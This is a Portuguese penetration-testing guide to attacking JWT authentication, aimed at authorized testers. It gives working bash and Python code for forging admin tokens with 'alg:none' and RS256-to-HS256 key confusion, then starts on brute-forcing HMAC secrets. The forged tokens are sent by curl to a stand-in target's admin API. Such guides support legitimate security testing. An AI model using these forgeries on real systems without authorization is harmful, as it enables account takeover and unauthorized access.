Testando a Segurança de Tokens JWT

Quando Usar

• Durante testes de penetração autorizados quando a aplicação usa JWT para autenticação ou autorização
• Ao avaliar a segurança de APIs onde JWTs são passados como tokens Bearer ou em cookies
• Para avaliar implementações de SSO que usam tokens JWT/JWS/JWE
• Ao testar fluxos OAuth 2.0 ou OpenID Connect que emitem JWTs
• Durante auditorias de segurança de arquiteturas de microsserviços usando JWT para autenticação entre serviços

Pré-requisitos

• Autorização: Acordo escrito de teste de penetração para o alvo
• jwt_tool: Kit de ferramentas de ataque JWT (pip install jwt_tool ou git clone https://github.com/ticarpi/jwt_tool.git)
• Burp Suite Professional: Com a extensão JSON Web Token da BApp Store
• Python PyJWT: Para scripts de ataques JWT personalizados (pip install pyjwt)
• Hashcat: Para força bruta de segredos HMAC (apt install hashcat)
• jq: Para processamento de JSON
• JWT do Alvo: Um token JWT válido da aplicação

Fluxo de Trabalho

Passo 1: Decodificar e Analisar a Estrutura do JWT

Extraia e examine os componentes de cabeçalho (header), carga útil (payload) e assinatura (signature).

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Passo 2: Testar Ataque Algorithm None

Tente forjar tokens definindo o algoritmo como "none".

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Passo 3: Testar Confusão de Algoritmo (RS256 para HS256)

Se o servidor usar RS256, tente mudar para HS256 e assinar com a chave pública.

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Passo 4: Força Bruta do Segredo HMAC

Se HS256 for usado, tente quebrar o segredo de assinatura.

# Usando jwt_tool com segredos comuns
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt


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